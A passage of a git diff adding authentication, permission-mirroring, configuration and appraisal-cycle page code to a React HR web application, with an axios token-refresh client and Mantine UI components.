InternalAxiosRequestConfig, +} from "axios"; + +import { + AUTH_API_URL, + AUTH_BASE_PATH, + CLIENT_APP, + HR_API_URL, +} from "@/config/env"; +import { + AUTH_TOKEN_COOKIE, + REFRESH_TOKEN_COOKIE, + clearSessionCookies, + getCookie, + setCookie, +} from "./cookies"; +import type { AuthTokens } from "./types"; + +type RetriableRequest = InternalAxiosRequestConfig & { _retry?: boolean }; + +/** + * TWO clients, because login and HR data live in different services: + * + * authApi → the IAM auth controller (freight-api today) /api/auth/* + * hrApi → edr-hr-api /api/v1/* + * + * They share the cookie store and the single-flight refresh below, so a token + * rotated by either is immediately used by both. That works because JwtGuard + * validates the session against `iam.sessions` in the shared database rather + * than against whichever app issued it. + */ +export const authApi: AxiosInstance = axios.create({ + baseURL: `${AUTH_API_URL}${AUTH_BASE_PATH}`, + withCredentials: true, +}); + +export const hrApi: AxiosInstance = axios.create({ + baseURL: `${HR_API_URL}/api/v1`, + withCredentials: true, +}); + +let refreshPromise: Promise | null = null; + +export const applyTokens = ({ token, refreshToken }: AuthTokens): void => { + setCookie(AUTH_TOKEN_COOKIE, token); + setCookie(REFRESH_TOKEN_COOKIE, refreshToken); +}; + +/** + * Single-flight refresh: several requests can 401 at once (a dashboard fires + * three queries in parallel), and they must not each rotate the refresh token — + * the second rotation would invalidate the first's result. They share one + * in-flight promise instead. + */ +const refreshSessionTokens = async (): Promise => { + const refreshToken = getCookie(REFRESH_TOKEN_COOKIE); + if (!refreshToken) throw new Error("missing refresh token"); + + refreshPromise ??= authApi + .post("/auth/refresh-token", { refreshToken }) + .then((response) => response.data) + .finally(() => { + refreshPromise = null; + }); + + const tokens = await refreshPromise; + applyTokens(tokens); + return tokens; +}; + +const attachAuthHeaders = (config: InternalAxiosRequestConfig) => { + const token = getCookie(AUTH_TOKEN_COOKIE); + if (token) config.headers.Authorization = `Bearer ${token}`; + // Tells the API which audience is asking, so /auth/login can reject customer + // credentials on a staff app. Sent ONLY when configured, because it is a + // freight-api requirement, not a platform-wide one: edr-passenger-api does not + // read it and — more to the point — does not list it in its CORS + // `allowedHeaders`, so sending it unconditionally makes the browser fail the + // preflight with "Request header field x-client-app is not allowed" and the + // login never leaves the page. + if (CLIENT_APP) config.headers["X-Client-App"] = CLIENT_APP; + return config; +}; + +/** Unwraps the `{ success, data }` envelope some IAM routes return. */ +const unwrapEnvelope = (data: unknown): unknown => + data && typeof data === "object" && "success" in data && "data" in data + ? (data as { data: unknown }).data + : data; + +const NON_REFRESHABLE = ["/auth/login", "/auth/refresh-token"]; + +const installInterceptors = (client: AxiosInstance) => { + client.interceptors.request.use(attachAuthHeaders); + client.interceptors.response.use( + (response) => { + response.data = unwrapEnvelope(response.data); + return response; + }, + async (error: AxiosError) => { + const original = error.config as RetriableRequest | undefined; + + const isRefreshable = + error.response?.status === 401 && + original && + !original._retry && + !NON_REFRESHABLE.some((path) => original.url?.includes(path)); + + if (!isRefreshable) return Promise.reject(error); + + if (!getCookie(REFRESH_TOKEN_COOKIE)) { + clearSessionCookies(); + return Promise.reject(error); + } + + original._retry = true; + try { + const tokens = await refreshSessionTokens(); + original.headers.set?.("Authorization", `Bearer ${tokens.token}`); + return client(original); + } catch (refreshError) { + clearSessionCookies(); + window.location.replace("/login"); + return Promise.reject(refreshError); + } + }, + ); +}; + +installInterceptors(authApi); +installInterceptors(hrApi); + +/** + * The server's actual message, not "Request failed with status code 400". + * NestJS returns `message` as a string or an array of validation failures. + */ +export const apiErrorMessage = (error: unknown): string => { + const payload = (error as AxiosError<{ message?: string | string[] }>) + ?.response?.data; + const message = payload?.message; + if (Array.isArray(message)) return message.join("\n"); + if (typeof message === "string" && message) return message; + return (error as Error)?.message ?? "Something went wrong"; +}; diff --git a/apps/edr-hr-web/src/auth/permissions.ts b/apps/edr-hr-web/src/auth/permissions.ts new file mode 100644 index 000000000..2fee6b49a --- /dev/null +++ b/apps/edr-hr-web/src/auth/permissions.ts @@ -0,0 +1,159 @@ +import type { AuthPermission, AuthUser } from "./types"; + +/** + * Mirror of the API's HR_PERMS registry (apps/edr-hr-api/src/seed). + * + * Kept as a hand-written mirror rather than an import: the API is a separate + * deployable and this app must not take a build dependency on it. The keys are a + * wire contract, so a drift here surfaces as a UI control that is visible but + * 403s — which is why the server check is the real gate and this is only used to + * hide or disable controls. + */ +export const HR_PERMS = { + employeeProfile: { + create: "can:create:employee_profile", + view: "can:view:employee_profile", + viewOwn: "can:view_own:employee_profile", + update: "can:update:employee_profile", + deactivate: "can:deactivate:employee_profile", + terminate: "can:terminate:employee_profile", + }, + leave: { + create: "can:create:leave_request", + viewOwn: "can:view_own:leave_request", + viewAll: "can:view_all:leave_request", + approveL1: "can:approve_l1:leave_request", + approveL2: "can:approve_l2:leave_request", + cancel: "can:cancel:leave_request", + manageType: "can:manage:leave_type", + manageAllocation: "can:manage:leave_allocation", + managePublicHoliday: "can:manage:public_holiday", + }, + attendance: { + record: "can:record:attendance", + viewOwn: "can:view_own:attendance", + viewAll: "can:view_all:attendance", + regularize: "can:regularize:attendance", + approveRegularization: "can:approve:regularization", + requestOvertime: "can:request:overtime", + approveOvertime: "can:approve:overtime", + manageWorkSchedule: "can:manage:work_schedule", + }, + payroll: { + manageSalaryStructure: "can:manage:salary_structure", + manageSalaryRule: "can:manage:salary_rule", + assignSalaryStructure: "can:assign:salary_structure", + run: "can:run:payroll", + approve: "can:approve:payroll", + viewOwnPayslip: "can:view_own:payslip", + viewAllPayslip: "can:view_all:payslip", + manageIncomeTaxTable: "can:manage:income_tax_table", + postJournal: "can:post:payroll_journal", + }, + recruitment: { + manageJobOpening: "can:manage:job_opening", + viewApplication: "can:view:application", + screenApplication: "can:screen:application", + scheduleInterview: "can:schedule:interview", + makeOffer: "can:make:job_offer", + hire: "can:hire:applicant", + }, + appraisal: { + manageCycle: "can:manage:appraisal_cycle", + manageTemplate: "can:manage:appraisal_template", + submitSelf: "can:submit_self:appraisal", + submitManager: "can:submit_manager:appraisal", + viewAll: "can:view_all:appraisal", + }, + report: { + view: "can:view:hr_report", + export: "can:export:hr_report", + viewTax: "can:view:tax_report", + }, + employeeDocument: { + view: "can:view:employee_document", + upload: "can:upload:employee_document", + delete: "can:delete:employee_document", + }, + org: { + manageJobTitle: "can:manage:job_title", + manageJobPosition: "can:manage:job_position", + manageUnitHrProfile: "can:manage:unit_hr_profile", + viewOrg: "can:view:hr_org_structure", + }, +} as const; + +/** + * IAM's own permission keys, mirrored for UI gating. + * + * The API gates these routes on IAM's keys rather than parallel HR ones, so the + * UI must check the same key — otherwise a control looks enabled and then 403s + * naming a key the user has never seen. + */ +export const IAM_PERMS = { + unit: { + create: "can:create:unit", + update: "can:update:unit", + delete: "can:delete:unit", + }, + org: { findAll: "can:find_all:organization" }, + employee: { + create: "can:createEmployee", + activate: "can:activateEmployee", + deactivate: "can:deactivateEmployee", + }, +} as const; + +const SUPER_ADMIN_ROLE = "super_admin"; + +const positionsOf = (user: AuthUser | null | undefined) => { + const employee = user?.employee; + if (!employee) return []; + if (Array.isArray(employee)) return employee.flatMap((e) => e.positions ?? []); + return [ + ...(employee.position ? [employee.position] : []), + ...(employee.positions ?? []), + ...(employee.delegatedPositions ?? []), + ]; +}; + +const keysOf = (permissions: AuthPermission[] | undefined) => + (permissions ?? []).map((p) => p.key).filter((k): k is string => Boolean(k)); + +/** Every permission key the token carries — roles, positions, position types. */ +export const collectPermissionKeys = ( + user: AuthUser | null | undefined, +): string[] => { + if (!user) return []; + const keys = new Set(keysOf(user.permissions)); + for (const position of positionsOf(user)) { + keysOf(position.permissions).forEach((key) => keys.add(key)); + keysOf(position.positionType?.permissions).forEach((key) => keys.add(key)); + } + return [...keys]; +}; + +export const isSuperAdmin = (user: AuthUser | null | undefined): boolean => + Boolean(user?.roles?.some((role) => role.key === SUPER_ADMIN_ROLE)); + +export const hasPermission = ( + user: AuthUser | null | undefined, + permission: string | string[], +): boolean => { + if (!user) return false; + if (isSuperAdmin(user)) return true; + const keys = collectPermissionKeys(user); + return Array.isArray(permission) + ? permission.some((p) => keys.includes(p)) + : keys.includes(permission); +}; + +/** The caller's `iam.employees.id` — what "my profile" resolves against. */ +export const currentEmployeeId = ( + user: AuthUser | null | undefined, +): string | null => { + const employee = user?.employee; + if (!employee) return null; + if (Array.isArray(employee)) return employee[0]?.id ?? null; + return employee.id ?? null; +}; diff --git a/apps/edr-hr-web/src/auth/types.ts b/apps/edr-hr-web/src/auth/types.ts new file mode 100644 index 000000000..aa0999f85 --- /dev/null +++ b/apps/edr-hr-web/src/auth/types.ts @@ -0,0 +1,42 @@ +export type LocaleText = { am?: string; en?: string }; + +export type AuthTokens = { token: string; refreshToken: string }; + +export type AuthPermission = { id?: string; key?: string }; + +export type AuthPosition = { + id?: string; + key?: string; + name?: LocaleText; + permissions?: AuthPermission[]; + positionType?: { key?: string; permissions?: AuthPermission[] } | null; +}; + +/** + * IAM issues the employee block in two shapes — an object on a session token and + * an array on the raw payload. Both reach this app depending on how the session + * was minted, so every reader handles both (the same reason the API's + * hr-permission.util does). + */ +export type AuthEmployee = { + id?: string; + organizationId?: string; + unitId?: string; + name?: LocaleText; + position?: AuthPosition; + positions?: AuthPosition[]; + delegatedPositions?: AuthPosition[]; +}; + +export type AuthUser = { + id?: string; + username?: string; + email?: string; + name?: LocaleText; + userType?: string; + roles?: { key?: string }[]; + permissions?: AuthPermission[]; + employee?: AuthEmployee | AuthEmployee[] | null; +}; + +export type LoginResponse = AuthTokens & { user?: AuthUser }; diff --git a/apps/edr-hr-web/src/config/env.ts b/apps/edr-hr-web/src/config/env.ts new file mode 100644 index 000000000..523a24a6c --- /dev/null +++ b/apps/edr-hr-web/src/config/env.ts @@ -0,0 +1,34 @@ +/** Runtime configuration, read once so every consumer sees the same values. */ + +const trim = (value: string | undefined, fallback: string) => + (value ?? "").trim() || fallback; + +export const HR_API_URL = trim( + import.meta.env.VITE_HR_API_URL, + "http://localhost:3005", +); + +/** + * Where credentials are POSTed. See .env.example — hr-api owns no auth routes, + * so this points at whichever service hosts the IAM auth controller. + */ +export const AUTH_API_URL = trim( + import.meta.env.VITE_AUTH_API_URL, + "http://localhost:3001", +); + +/** + * Audience header for the auth host. Required by edr-freight-api's login (it + * 403s without one); edr-passenger-api neither reads it nor allows it through + * CORS. Left EMPTY by default so the header is simply not sent — set it only + * when pointing at an auth host that wants it. + */ +export const CLIENT_APP = (import.meta.env.VITE_CLIENT_APP ?? "").trim(); + +/** + * Base path under AUTH_API_URL where the auth controller lives. It is not the + * same on every host: edr-freight-api mounts it at `/api/auth/*`, while + * edr-passenger-api sets no global prefix and serves `/auth/*`. Making it + * configurable means switching auth hosts is two env vars, not a code change. + */ +export const AUTH_BASE_PATH = (import.meta.env.VITE_AUTH_BASE_PATH ?? "/api").trim(); diff --git a/apps/edr-hr-web/src/features/appraisal/AppraisalCyclesPage.tsx b/apps/edr-hr-web/src/features/appraisal/AppraisalCyclesPage.tsx new file mode 100644 index 000000000..792a939f8 --- /dev/null +++ b/apps/edr-hr-web/src/features/appraisal/AppraisalCyclesPage.tsx @@ -0,0 +1,527 @@ +import { + Alert, + Badge, + Button, + Card, + Group, + Modal, + NumberInput, + Select, + SimpleGrid, + Stack, + Table, + Text, + TextInput, +} from "@mantine/core"; +import { IconAlertTriangle, IconPlayerPlay, IconPlus } from "@tabler/icons-react"; +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import { useState } from "react"; +import { useTranslation } from "react-i18next"; + +import { Can } from "@/auth/Can"; +import { HR_PERMS } from "@/auth/permissions"; +import { apiErrorMessage } from "@/auth/http"; +import { PageHeader } from "@/shared/components/PageHeader"; +import { BilingualTextInput } from "@/shared/components/BilingualTextInput"; +import { EthiopianDateInput } from "@/shared/components/EthiopianDateInput"; +import { localized } from "@/shared/lib/localizedName"; +import { + closeCycle, + createCycle, + createTemplate, + getCycleProgress, + listCycles, + listTemplates, + openCycle, +} from "./api"; +import { CycleBadge } from "./components/AppraisalStatusBadge"; + +export function AppraisalCyclesPage() { + const queryClient = useQueryClient(); + const { i18n } = useTranslation(); + const [creatingCycle, setCreatingCycle] = useState(false); + const [creatingTemplate, setCreatingTemplate] = useState(false); + const [expanded, setExpanded] = useState(null); + const [error, setError] = useState(null); + const [opened, setOpened] = useState<{ created: number; skipped: number } | null>( + null, + ); + + const cycles = useQuery({ queryKey: ["appraisal-cycles"], queryFn: listCycles }); + const templates = useQuery({ + queryKey: ["appraisal-templates"], + queryFn: listTemplates, + }); + const progress = useQuery({ + queryKey: ["cycle-progress", expanded], + queryFn: () => getCycleProgress(expanded!), + enabled: Boolean(expanded), + }); + + const invalidate = () => { + queryClient.invalidateQueries({ queryKey: ["appraisal-cycles"] }); + queryClient.invalidateQueries({ queryKey: ["cycle-progress"] }); + }; + + // Two mutations rather than one branching on an action: they return different + // shapes, and a union return type buys nothing here but casts. + const open = useMutation({ + mutationFn: (id: string) => openCycle(id), + onSuccess: (result) => { + invalidate(); + setOpened({ created: result.created, skipped: result.skipped }); + }, + onError: (err) => setError(apiErrorMessage(err)), + }); + + const close = useMutation({ + mutationFn: (id: string) => closeCycle(id), + onSuccess: invalidate, + onError: (err) => setError(apiErrorMessage(err)), + }); + + return ( + <> + + + + + + + + + } + /> + + {error && ( + setError(null)} + icon={} + > + {error} + + )} + + {opened && ( + setOpened(null)}> + {opened.created} appraisal(s) created + {opened.skipped > 0 && `, ${opened.skipped} already existed and were left alone`}. + + )} + + {(templates.data ?? []).length === 0 && ( + + No appraisal form yet. A cycle needs one — it defines what is scored and + how much each criterion is worth. + + )} + + + {(cycles.data ?? []).map((cycle) => ( + + + + + + {localized(cycle.name, i18n.language) || cycle.code} + + + + + {cycle.periodStart} — {cycle.periodEnd} + {cycle.selfDueOn && ` · self due ${cycle.selfDueOn}`} + {cycle.managerDueOn && ` · manager due ${cycle.managerDueOn}`} + + + + {(cycle.status === "DRAFT" || cycle.status === "OPEN") && ( + + + + )} + {cycle.status === "OPEN" && ( + + + + )} + + + + + {expanded === cycle.id && progress.data && ( + + {Object.entries(progress.data).map(([status, count]) => ( +
+ + {count} + + + {status.toLowerCase().replace(/_/g, " ")} + +
+ ))} + {Object.keys(progress.data).length === 0 && ( + + No appraisals in this cycle yet. + + )} +
+ )} +
+ ))} +
+ + + + + + Form + Criteria + Scale + Bands + + + + {(templates.data ?? []).map((template) => ( + + + + {localized(template.name, i18n.language) || template.code} + + + {template.code} + + + + + {(template.criteria ?? []).map((criterion) => ( + + {criterion.code} {Number(criterion.weight)}% + + ))} + + + + 0 – {Number(template.maxScore)} + + + + {(template.ratingBands ?? []).map((band) => ( + + {band.min}+ {localized(band.label, i18n.language)} + + ))} + + + + ))} + +
+
+ + setCreatingCycle(false)} + templates={templates.data ?? []} + /> + setCreatingTemplate(false)} + /> + + ); +} + +function NewCycleModal({ + opened, + onClose, + templates, +}: { + opened: boolean; + onClose: () => void; + templates: import("./types").AppraisalTemplate[]; +}) { + const queryClient = useQueryClient(); + const { i18n } = useTranslation(); + const [code, setCode] = useState(""); + const [name, setName] = useState({ am: "", en: "" }); + const [templateId, setTemplateId] = useState(null); + const [periodStart, setPeriodStart] = useState(); + const [periodEnd, setPeriodEnd] = useState(); + const [selfDueOn, setSelfDueOn] = useState(); + const [managerDueOn, setManagerDueOn] = useState(); + + const create = useMutation({ + mutationFn: () => + createCycle({ + code, + name, + templateId, + periodStart, + periodEnd, + selfDueOn, + managerDueOn, + }), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ["appraisal-cycles"] }); + setCode(""); + setName({ am: "", en: "" }); + onClose(); + }, + }); + + return ( + + + {create.isError && ( + }> + {apiErrorMessage(create.error)} + + )} + setCode(event.currentTarget.value.toUpperCase())} + /> + +